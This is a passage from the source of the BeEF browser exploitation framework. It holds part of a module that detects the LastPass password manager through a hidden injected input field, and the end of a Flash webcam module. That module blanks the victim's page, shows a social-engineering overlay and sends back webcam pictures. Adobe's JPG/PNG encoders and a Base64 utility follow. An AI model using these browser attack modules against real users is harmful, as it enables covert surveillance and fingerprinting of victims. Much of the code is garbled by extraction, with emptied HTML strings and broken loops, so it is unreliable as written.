"iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAAPhJREFUOBHlU70KgzAQPlMhEvoQTg6OPoOjT+JWOnRqkUKHgqWP4OQbOPokTk6OTkVULNSLVc62oJmbIdzd95NcuGjX2/3YVI/Ts+t0WLE2ut5xsQ0O+90F6UxFjAI8qNcEGONia08e6MNONYwCS7EQAizLmtGUDEzTBNd1fxsYhjEBnHPQNG3KKTYV34F8ec/zwHEciOMYyrIE3/ehKAqIoggo9inGXKmFXwbyBkmSQJqmUNe15IRhCG3byphitm1/eUzDM4qR0TTNjEixGdAnSi3keS5vSk2UDKqqgizLqB4YzvassiKhGtZ/jDMtLOnHz7TE+yf8BaDZXA509yeBAAAAAElFTkSuQmCC"; let createInputField = function () { beef.debug("Module - Detect LastPass: Generating input field"); return new Promise((resolve, reject) => { var input = document.createElement("input"); input.type = "text"; input.id = "username"; input.name = "username"; input.setAttribute("style", "display:none;position:absolute;visibility:hidden;top:-1000px;left:-1000px;border:none;"); document.body.appendChild(input); beef.debug("Module - Detect LastPass: Input field generated"); // FF requires some interaction to trigger extension function, so we use a timeout to wait 5 seconds in the hope that a user interacts if (beef.browser.isFF()) { setTimeout(() => { resolve(); }, 5000); } else { // `1 second timout to allow DOM to update setTimeout(() => { resolve(); }, 1000); } }) } let detectLastPass = function () { beef.debug("Module - Detect LastPass: Looking for input field"); return new Promise((resolve, reject) => { // Detect input form fields with the injected LastPass PNG as background image var bginput = $j('input[style]'); var lpdiv = document.getElementById('hiddenlpsubmitdiv'); if (bginput.length > 0) { beef.debug("Module - Detect LastPass: Input field with 'style' attribute found: " + bginput); for (var i = 0; i < bginput.length; i++) { beef.debug("Module - Detect LastPass: Number of potential input fields with 'style' attribute found: " + bginput.length); var styleContent = bginput[i].getAttribute('style'); if (styleContent.includes(base64PNG)) { beef.debug('Module - Detect LastPass: Matching inline PNG detected'); result = "Detected LastPass through presence of inline base64-encoded PNG within input form field"; } } // Detect presence of LastPass iframe } else if ($j("iframe[name='LPFrame']").length > 0) { beef.debug('Module - Detect LastPass: Matching iframe found'); result = "Detected LastPass through presence of LastPass 'save password' iframe"; // Below is the older method of LastPass detection method } else if (typeof (lpdiv) != 'undefined' && lpdiv != null) { result = "Detected LastPass through presence of the '; //Either do the overlay (body_social_engineer_and_overlay) or do something like in the next line (showing a message if adobe flash is not installed) //We'll notice when flash is not installed anyway... //var body_flash_container = '

    You need FlashPlayer 9 or higher!

    Get Adobe Flash player

    '; var body_flash_container = '
    '; //The style is the only thing we already append to the head var theHead = document.getElementsByTagName("head")[0]; var style = document.createElement('style'); style.type = 'text/css'; style.innerHTML = 'body { background: #eee; } .thingy { z-index:50; background-color:#eee; border:1px solid #eee; }'; theHead.appendChild(style); //A nice library that helps us to include the swf file var swfobject_script = '' //This is the javascript that actually calls the swfobject library to include the swf file var include_script = ''; //Empty body first $j('body').html(''); //Now show our flash stuff, muahahaha $j('body').append(js_functions, swfobject_script, body_flash_container, body_social_engineer_and_overlay, include_script); }); ================================================ FILE: modules/browser/webcam_flash/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: webcam_flash: enable: true category: "Browser" name: "Webcam (Flash)" description: "This module will show the Adobe Flash 'Allow Webcam' dialog to the user. The user has to click the allow button, otherwise this module will not return pictures.
    The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string." authors: ["floyd @floyd_ch"] target: working: ["All"] ================================================ FILE: modules/browser/webcam_flash/dev/com/adobe/images/BitString.as ================================================ /* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Adobe Systems Incorporated nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.adobe.images { public class BitString { public var len:int = 0; public var val:int = 0; } } ================================================ FILE: modules/browser/webcam_flash/dev/com/adobe/images/JPGEncoder.as ================================================ /* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Adobe Systems Incorporated nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.adobe.images { import flash.geom.*; import flash.display.*; import flash.utils.*; /** * Class that converts BitmapData into a valid JPEG */ public class JPGEncoder { // Static table initialization private var ZigZag:Array = [ 0, 1, 5, 6,14,15,27,28, 2, 4, 7,13,16,26,29,42, 3, 8,12,17,25,30,41,43, 9,11,18,24,31,40,44,53, 10,19,23,32,39,45,52,54, 20,22,33,38,46,51,55,60, 21,34,37,47,50,56,59,61, 35,36,48,49,57,58,62,63 ]; private var YTable:Array = new Array(64); private var UVTable:Array = new Array(64); private var fdtbl_Y:Array = new Array(64); private var fdtbl_UV:Array = new Array(64); private function initQuantTables(sf:int):void { var i:int; var t:Number; var YQT:Array = [ 16, 11, 10, 16, 24, 40, 51, 61, 12, 12, 14, 19, 26, 58, 60, 55, 14, 13, 16, 24, 40, 57, 69, 56, 14, 17, 22, 29, 51, 87, 80, 62, 18, 22, 37, 56, 68,109,103, 77, 24, 35, 55, 64, 81,104,113, 92, 49, 64, 78, 87,103,121,120,101, 72, 92, 95, 98,112,100,103, 99 ]; for (i = 0; i < 64; i++) { t = Math.floor((YQT[i]*sf+50)/100); if (t < 1) { t = 1; } else if (t > 255) { t = 255; } YTable[ZigZag[i]] = t; } var UVQT:Array = [ 17, 18, 24, 47, 99, 99, 99, 99, 18, 21, 26, 66, 99, 99, 99, 99, 24, 26, 56, 99, 99, 99, 99, 99, 47, 66, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99 ]; for (i = 0; i < 64; i++) { t = Math.floor((UVQT[i]*sf+50)/100); if (t < 1) { t = 1; } else if (t > 255) { t = 255; } UVTable[ZigZag[i]] = t; } var aasf:Array = [ 1.0, 1.387039845, 1.306562965, 1.175875602, 1.0, 0.785694958, 0.541196100, 0.275899379 ]; i = 0; for (var row:int = 0; row < 8; row++) { for (var col:int = 0; col < 8; col++) { fdtbl_Y[i] = (1.0 / (YTable [ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); fdtbl_UV[i] = (1.0 / (UVTable[ZigZag[i]] * aasf[row] * aasf[col] * 8.0)); i++; } } } private var YDC_HT:Array; private var UVDC_HT:Array; private var YAC_HT:Array; private var UVAC_HT:Array; private function computeHuffmanTbl(nrcodes:Array, std_table:Array):Array { var codevalue:int = 0; var pos_in_table:int = 0; var HT:Array = new Array(); for (var k:int=1; k<=16; k++) { for (var j:int=1; j<=nrcodes[k]; j++) { HT[std_table[pos_in_table]] = new BitString(); HT[std_table[pos_in_table]].val = codevalue; HT[std_table[pos_in_table]].len = k; pos_in_table++; codevalue++; } codevalue*=2; } return HT; } private var std_dc_luminance_nrcodes:Array = [0,0,1,5,1,1,1,1,1,1,0,0,0,0,0,0,0]; private var std_dc_luminance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; private var std_ac_luminance_nrcodes:Array = [0,0,2,1,3,3,2,4,3,5,5,4,4,0,0,1,0x7d]; private var std_ac_luminance_values:Array = [ 0x01,0x02,0x03,0x00,0x04,0x11,0x05,0x12, 0x21,0x31,0x41,0x06,0x13,0x51,0x61,0x07, 0x22,0x71,0x14,0x32,0x81,0x91,0xa1,0x08, 0x23,0x42,0xb1,0xc1,0x15,0x52,0xd1,0xf0, 0x24,0x33,0x62,0x72,0x82,0x09,0x0a,0x16, 0x17,0x18,0x19,0x1a,0x25,0x26,0x27,0x28, 0x29,0x2a,0x34,0x35,0x36,0x37,0x38,0x39, 0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49, 0x4a,0x53,0x54,0x55,0x56,0x57,0x58,0x59, 0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69, 0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79, 0x7a,0x83,0x84,0x85,0x86,0x87,0x88,0x89, 0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98, 0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7, 0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,0xb5,0xb6, 0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5, 0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4, 0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xe1,0xe2, 0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea, 0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, 0xf9,0xfa ]; private var std_dc_chrominance_nrcodes:Array = [0,0,3,1,1,1,1,1,1,1,1,1,0,0,0,0,0]; private var std_dc_chrominance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11]; private var std_ac_chrominance_nrcodes:Array = [0,0,2,1,2,4,4,3,4,7,5,4,4,0,1,2,0x77]; private var std_ac_chrominance_values:Array = [ 0x00,0x01,0x02,0x03,0x11,0x04,0x05,0x21, 0x31,0x06,0x12,0x41,0x51,0x07,0x61,0x71, 0x13,0x22,0x32,0x81,0x08,0x14,0x42,0x91, 0xa1,0xb1,0xc1,0x09,0x23,0x33,0x52,0xf0, 0x15,0x62,0x72,0xd1,0x0a,0x16,0x24,0x34, 0xe1,0x25,0xf1,0x17,0x18,0x19,0x1a,0x26, 0x27,0x28,0x29,0x2a,0x35,0x36,0x37,0x38, 0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48, 0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58, 0x59,0x5a,0x63,0x64,0x65,0x66,0x67,0x68, 0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78, 0x79,0x7a,0x82,0x83,0x84,0x85,0x86,0x87, 0x88,0x89,0x8a,0x92,0x93,0x94,0x95,0x96, 0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5, 0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4, 0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xc2,0xc3, 0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2, 0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda, 0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9, 0xea,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8, 0xf9,0xfa ]; private function initHuffmanTbl():void { YDC_HT = computeHuffmanTbl(std_dc_luminance_nrcodes,std_dc_luminance_values); UVDC_HT = computeHuffmanTbl(std_dc_chrominance_nrcodes,std_dc_chrominance_values); YAC_HT = computeHuffmanTbl(std_ac_luminance_nrcodes,std_ac_luminance_values); UVAC_HT = computeHuffmanTbl(std_ac_chrominance_nrcodes,std_ac_chrominance_values); } private var bitcode:Array = new Array(65535); private var category:Array = new Array(65535); private function initCategoryNumber():void { var nrlower:int = 1; var nrupper:int = 2; var nr:int; for (var cat:int=1; cat<=15; cat++) { //Positive numbers for (nr=nrlower; nr= 0 ) { if (value & uint(1 << posval) ) { bytenew |= uint(1 << bytepos); } posval--; bytepos--; if (bytepos < 0) { if (bytenew == 0xFF) { writeByte(0xFF); writeByte(0); } else { writeByte(bytenew); } bytepos=7; bytenew=0; } } } private function writeByte(value:int):void { byteout.writeByte(value); } private function writeWord(value:int):void { writeByte((value>>8)&0xFF); writeByte((value )&0xFF); } // DCT & quantization core private function fDCTQuant(data:Array, fdtbl:Array):Array { var tmp0:Number, tmp1:Number, tmp2:Number, tmp3:Number, tmp4:Number, tmp5:Number, tmp6:Number, tmp7:Number; var tmp10:Number, tmp11:Number, tmp12:Number, tmp13:Number; var z1:Number, z2:Number, z3:Number, z4:Number, z5:Number, z11:Number, z13:Number; var i:int; /* Pass 1: process rows. */ var dataOff:int=0; for (i=0; i<8; i++) { tmp0 = data[dataOff+0] + data[dataOff+7]; tmp7 = data[dataOff+0] - data[dataOff+7]; tmp1 = data[dataOff+1] + data[dataOff+6]; tmp6 = data[dataOff+1] - data[dataOff+6]; tmp2 = data[dataOff+2] + data[dataOff+5]; tmp5 = data[dataOff+2] - data[dataOff+5]; tmp3 = data[dataOff+3] + data[dataOff+4]; tmp4 = data[dataOff+3] - data[dataOff+4]; /* Even part */ tmp10 = tmp0 + tmp3; /* phase 2 */ tmp13 = tmp0 - tmp3; tmp11 = tmp1 + tmp2; tmp12 = tmp1 - tmp2; data[dataOff+0] = tmp10 + tmp11; /* phase 3 */ data[dataOff+4] = tmp10 - tmp11; z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ data[dataOff+2] = tmp13 + z1; /* phase 5 */ data[dataOff+6] = tmp13 - z1; /* Odd part */ tmp10 = tmp4 + tmp5; /* phase 2 */ tmp11 = tmp5 + tmp6; tmp12 = tmp6 + tmp7; /* The rotator is modified from fig 4-8 to avoid extra negations. */ z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ z3 = tmp11 * 0.707106781; /* c4 */ z11 = tmp7 + z3; /* phase 5 */ z13 = tmp7 - z3; data[dataOff+5] = z13 + z2; /* phase 6 */ data[dataOff+3] = z13 - z2; data[dataOff+1] = z11 + z4; data[dataOff+7] = z11 - z4; dataOff += 8; /* advance pointer to next row */ } /* Pass 2: process columns. */ dataOff = 0; for (i=0; i<8; i++) { tmp0 = data[dataOff+ 0] + data[dataOff+56]; tmp7 = data[dataOff+ 0] - data[dataOff+56]; tmp1 = data[dataOff+ 8] + data[dataOff+48]; tmp6 = data[dataOff+ 8] - data[dataOff+48]; tmp2 = data[dataOff+16] + data[dataOff+40]; tmp5 = data[dataOff+16] - data[dataOff+40]; tmp3 = data[dataOff+24] + data[dataOff+32]; tmp4 = data[dataOff+24] - data[dataOff+32]; /* Even part */ tmp10 = tmp0 + tmp3; /* phase 2 */ tmp13 = tmp0 - tmp3; tmp11 = tmp1 + tmp2; tmp12 = tmp1 - tmp2; data[dataOff+ 0] = tmp10 + tmp11; /* phase 3 */ data[dataOff+32] = tmp10 - tmp11; z1 = (tmp12 + tmp13) * 0.707106781; /* c4 */ data[dataOff+16] = tmp13 + z1; /* phase 5 */ data[dataOff+48] = tmp13 - z1; /* Odd part */ tmp10 = tmp4 + tmp5; /* phase 2 */ tmp11 = tmp5 + tmp6; tmp12 = tmp6 + tmp7; /* The rotator is modified from fig 4-8 to avoid extra negations. */ z5 = (tmp10 - tmp12) * 0.382683433; /* c6 */ z2 = 0.541196100 * tmp10 + z5; /* c2-c6 */ z4 = 1.306562965 * tmp12 + z5; /* c2+c6 */ z3 = tmp11 * 0.707106781; /* c4 */ z11 = tmp7 + z3; /* phase 5 */ z13 = tmp7 - z3; data[dataOff+40] = z13 + z2; /* phase 6 */ data[dataOff+24] = z13 - z2; data[dataOff+ 8] = z11 + z4; data[dataOff+56] = z11 - z4; dataOff++; /* advance pointer to next column */ } // Quantize/descale the coefficients for (i=0; i<64; i++) { // Apply the quantization and scaling factor & Round to nearest integer data[i] = Math.round((data[i]*fdtbl[i])); } return data; } // Chunk writing private function writeAPP0():void { writeWord(0xFFE0); // marker writeWord(16); // length writeByte(0x4A); // J writeByte(0x46); // F writeByte(0x49); // I writeByte(0x46); // F writeByte(0); // = "JFIF",'\0' writeByte(1); // versionhi writeByte(1); // versionlo writeByte(0); // xyunits writeWord(1); // xdensity writeWord(1); // ydensity writeByte(0); // thumbnwidth writeByte(0); // thumbnheight } private function writeSOF0(width:int, height:int):void { writeWord(0xFFC0); // marker writeWord(17); // length, truecolor YUV JPG writeByte(8); // precision writeWord(height); writeWord(width); writeByte(3); // nrofcomponents writeByte(1); // IdY writeByte(0x11); // HVY writeByte(0); // QTY writeByte(2); // IdU writeByte(0x11); // HVU writeByte(1); // QTU writeByte(3); // IdV writeByte(0x11); // HVV writeByte(1); // QTV } private function writeDQT():void { writeWord(0xFFDB); // marker writeWord(132); // length writeByte(0); var i:int; for (i=0; i<64; i++) { writeByte(YTable[i]); } writeByte(1); for (i=0; i<64; i++) { writeByte(UVTable[i]); } } private function writeDHT():void { writeWord(0xFFC4); // marker writeWord(0x01A2); // length var i:int; writeByte(0); // HTYDCinfo for (i=0; i<16; i++) { writeByte(std_dc_luminance_nrcodes[i+1]); } for (i=0; i<=11; i++) { writeByte(std_dc_luminance_values[i]); } writeByte(0x10); // HTYACinfo for (i=0; i<16; i++) { writeByte(std_ac_luminance_nrcodes[i+1]); } for (i=0; i<=161; i++) { writeByte(std_ac_luminance_values[i]); } writeByte(1); // HTUDCinfo for (i=0; i<16; i++) { writeByte(std_dc_chrominance_nrcodes[i+1]); } for (i=0; i<=11; i++) { writeByte(std_dc_chrominance_values[i]); } writeByte(0x11); // HTUACinfo for (i=0; i<16; i++) { writeByte(std_ac_chrominance_nrcodes[i+1]); } for (i=0; i<=161; i++) { writeByte(std_ac_chrominance_values[i]); } } private function writeSOS():void { writeWord(0xFFDA); // marker writeWord(12); // length writeByte(3); // nrofcomponents writeByte(1); // IdY writeByte(0); // HTY writeByte(2); // IdU writeByte(0x11); // HTU writeByte(3); // IdV writeByte(0x11); // HTV writeByte(0); // Ss writeByte(0x3f); // Se writeByte(0); // Bf } // Core processing private var DU:Array = new Array(64); private function processDU(CDU:Array, fdtbl:Array, DC:Number, HTDC:Array, HTAC:Array):Number { var EOB:BitString = HTAC[0x00]; var M16zeroes:BitString = HTAC[0xF0]; var i:int; var DU_DCT:Array = fDCTQuant(CDU, fdtbl); //ZigZag reorder for (i=0;i<64;i++) { DU[ZigZag[i]]=DU_DCT[i]; } var Diff:int = DU[0] - DC; DC = DU[0]; //Encode DC if (Diff==0) { writeBits(HTDC[0]); // Diff might be 0 } else { writeBits(HTDC[category[32767+Diff]]); writeBits(bitcode[32767+Diff]); } //Encode ACs var end0pos:int = 63; for (; (end0pos>0)&&(DU[end0pos]==0); end0pos--) { }; //end0pos = first element in reverse order !=0 if ( end0pos == 0) { writeBits(EOB); return DC; } i = 1; while ( i <= end0pos ) { var startpos:int = i; for (; (DU[i]==0) && (i<=end0pos); i++) { } var nrzeroes:int = i-startpos; if ( nrzeroes >= 16 ) { for (var nrmarker:int=1; nrmarker <= nrzeroes/16; nrmarker++) { writeBits(M16zeroes); } nrzeroes = int(nrzeroes&0xF); } writeBits(HTAC[nrzeroes*16+category[32767+DU[i]]]); writeBits(bitcode[32767+DU[i]]); i++; } if ( end0pos != 63 ) { writeBits(EOB); } return DC; } private var YDU:Array = new Array(64); private var UDU:Array = new Array(64); private var VDU:Array = new Array(64); private function RGB2YUV(img:BitmapData, xpos:int, ypos:int):void { var pos:int=0; for (var y:int=0; y<8; y++) { for (var x:int=0; x<8; x++) { var P:uint = img.getPixel32(xpos+x,ypos+y); var R:Number = Number((P>>16)&0xFF); var G:Number = Number((P>> 8)&0xFF); var B:Number = Number((P )&0xFF); YDU[pos]=((( 0.29900)*R+( 0.58700)*G+( 0.11400)*B))-128; UDU[pos]=(((-0.16874)*R+(-0.33126)*G+( 0.50000)*B)); VDU[pos]=((( 0.50000)*R+(-0.41869)*G+(-0.08131)*B)); pos++; } } } /** * Constructor for JPEGEncoder class * * @param quality The quality level between 1 and 100 that detrmines the * level of compression used in the generated JPEG * @langversion ActionScript 3.0 * @playerversion Flash 9.0 * @tiptext */ public function JPGEncoder(quality:Number = 50) { if (quality <= 0) { quality = 1; } if (quality > 100) { quality = 100; } var sf:int = 0; if (quality < 50) { sf = int(5000 / quality); } else { sf = int(200 - quality*2); } // Create tables initHuffmanTbl(); initCategoryNumber(); initQuantTables(sf); } /** * Created a JPEG image from the specified BitmapData * * @param image The BitmapData that will be converted into the JPEG format. * @return a ByteArray representing the JPEG encoded image data. * @langversion ActionScript 3.0 * @playerversion Flash 9.0 * @tiptext */ public function encode(image:BitmapData):ByteArray { // Initialize bit writer byteout = new ByteArray(); bytenew=0; bytepos=7; // Add JPEG headers writeWord(0xFFD8); // SOI writeAPP0(); writeDQT(); writeSOF0(image.width,image.height); writeDHT(); writeSOS(); // Encode 8x8 macroblocks var DCY:Number=0; var DCU:Number=0; var DCV:Number=0; bytenew=0; bytepos=7; for (var ypos:int=0; ypos= 0 ) { var fillbits:BitString = new BitString(); fillbits.len = bytepos+1; fillbits.val = (1<<(bytepos+1))-1; writeBits(fillbits); } writeWord(0xFFD9); //EOI return byteout; } } } ================================================ FILE: modules/browser/webcam_flash/dev/com/adobe/images/PNGEncoder.as ================================================ /* Copyright (c) 2008, Adobe Systems Incorporated All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Adobe Systems Incorporated nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.adobe.images { import flash.geom.*; import flash.display.Bitmap; import flash.display.BitmapData; import flash.utils.ByteArray; /** * Class that converts BitmapData into a valid PNG */ public class PNGEncoder { /** * Created a PNG image from the specified BitmapData * * @param image The BitmapData that will be converted into the PNG format. * @return a ByteArray representing the PNG encoded image data. * @langversion ActionScript 3.0 * @playerversion Flash 9.0 * @tiptext */ public static function encode(img:BitmapData):ByteArray { // Create output byte array var png:ByteArray = new ByteArray(); // Write PNG signature png.writeUnsignedInt(0x89504e47); png.writeUnsignedInt(0x0D0A1A0A); // Build IHDR chunk var IHDR:ByteArray = new ByteArray(); IHDR.writeInt(img.width); IHDR.writeInt(img.height); IHDR.writeUnsignedInt(0x08060000); // 32bit RGBA IHDR.writeByte(0); writeChunk(png,0x49484452,IHDR); // Build IDAT chunk var IDAT:ByteArray= new ByteArray(); for(var i:int=0;i < img.height;i++) { // no filter IDAT.writeByte(0); var p:uint; var j:int; if ( !img.transparent ) { for(j=0;j < img.width;j++) { p = img.getPixel(j,i); IDAT.writeUnsignedInt( uint(((p&0xFFFFFF) << 8)|0xFF)); } } else { for(j=0;j < img.width;j++) { p = img.getPixel32(j,i); IDAT.writeUnsignedInt( uint(((p&0xFFFFFF) << 8)| (p>>>24))); } } } IDAT.compress(); writeChunk(png,0x49444154,IDAT); // Build IEND chunk writeChunk(png,0x49454E44,null); // return PNG return png; } private static var crcTable:Array; private static var crcTableComputed:Boolean = false; private static function writeChunk(png:ByteArray, type:uint, data:ByteArray):void { if (!crcTableComputed) { crcTableComputed = true; crcTable = []; var c:uint; for (var n:uint = 0; n < 256; n++) { c = n; for (var k:uint = 0; k < 8; k++) { if (c & 1) { c = uint(uint(0xedb88320) ^ uint(c >>> 1)); } else { c = uint(c >>> 1); } } crcTable[n] = c; } } var len:uint = 0; if (data != null) { len = data.length; } png.writeUnsignedInt(len); var p:uint = png.position; png.writeUnsignedInt(type); if ( data != null ) { png.writeBytes(data); } var e:uint = png.position; png.position = p; c = 0xffffffff; for (var i:int = 0; i < (e-p); i++) { c = uint(crcTable[ (c ^ png.readUnsignedByte()) & uint(0xff)] ^ uint(c >>> 8)); } c = uint(c^uint(0xffffffff)); png.position = e; png.writeUnsignedInt(c); } } } ================================================ FILE: modules/browser/webcam_flash/dev/com/foxarc/util/Base64.as ================================================ package com.foxarc.util{ import flash.utils.ByteArray; public class Base64 { private static const encodeChars:Array = ['A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n', 'o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3', '4','5','6','7','8','9','+','/']; private static const decodeChars:Array = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1]; public static function encode(data:ByteArray):String { var out:Array = []; var i:int = 0; var j:int = 0; var r:int = data.length % 3; var len:int = data.length - r; var c:int; while (i < len) { c = data[i++] << 16 | data[i++] << 8 | data[i++]; out[j++] = encodeChars[c >> 18] + encodeChars[c >> 12 & 0x3f] + encodeChars[c >> 6 & 0x3f] + encodeChars[c & 0x3f]; } if (r == 1) { c = data[i++]; out[j++] = encodeChars[c >> 2] + encodeChars[(c & 0x03) << 4] + "=="; } else if (r == 2) { c = data[i++] << 8 | data[i++]; out[j++] = encodeChars[c >> 10] + encodeChars[c >> 4 & 0x3f] + encodeChars[(c & 0x0f) << 2] + "="; } return out.join(''); } public static function decode(str:String):ByteArray { var c1:int; var c2:int; var c3:int; var c4:int; var i:int; var len:int; var out:ByteArray; len = str.length; i = 0; out = new ByteArray(); while (i < len) { // c1 do { c1 = decodeChars[str.charCodeAt(i++) & 0xff]; } while (i < len && c1 == -1); if (c1 == -1) { break; } // c2 do { c2 = decodeChars[str.charCodeAt(i++) & 0xff]; } while (i < len && c2 == -1); if (c2 == -1) { break; } out.writeByte((c1 << 2) | ((c2 & 0x30) >> 4)); // c3 do { c3 = str.charCodeAt(i++) & 0xff; if (c3 == 61) { return out; } c3 = decodeChars[c3]; } while (i < len && c3 == -1); if (c3 == -1) { break; } out.writeByte(((c2 & 0x0f) << 4) | ((c3 & 0x3c) >> 2)); // c4 do { c4 = str.charCodeAt(i++) & 0xff; if (c4 == 61) { return out; } c4 = decodeChars[c4]; } while (i < len && c4 == -1); if 